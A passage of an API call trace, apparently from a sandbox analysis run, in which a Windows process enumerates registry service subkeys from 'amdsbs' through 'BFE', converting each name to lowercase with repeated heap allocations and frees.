lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.754] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.754] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.754] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.755] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.755] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.755] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0231.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.756] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0231.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.757] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.757] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.757] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0231.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.758] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.758] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.758] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0231.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.758] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.759] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.759] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.759] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.760] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0231.760] RtlAllocateHeap (HeapHandle=0x2520000, 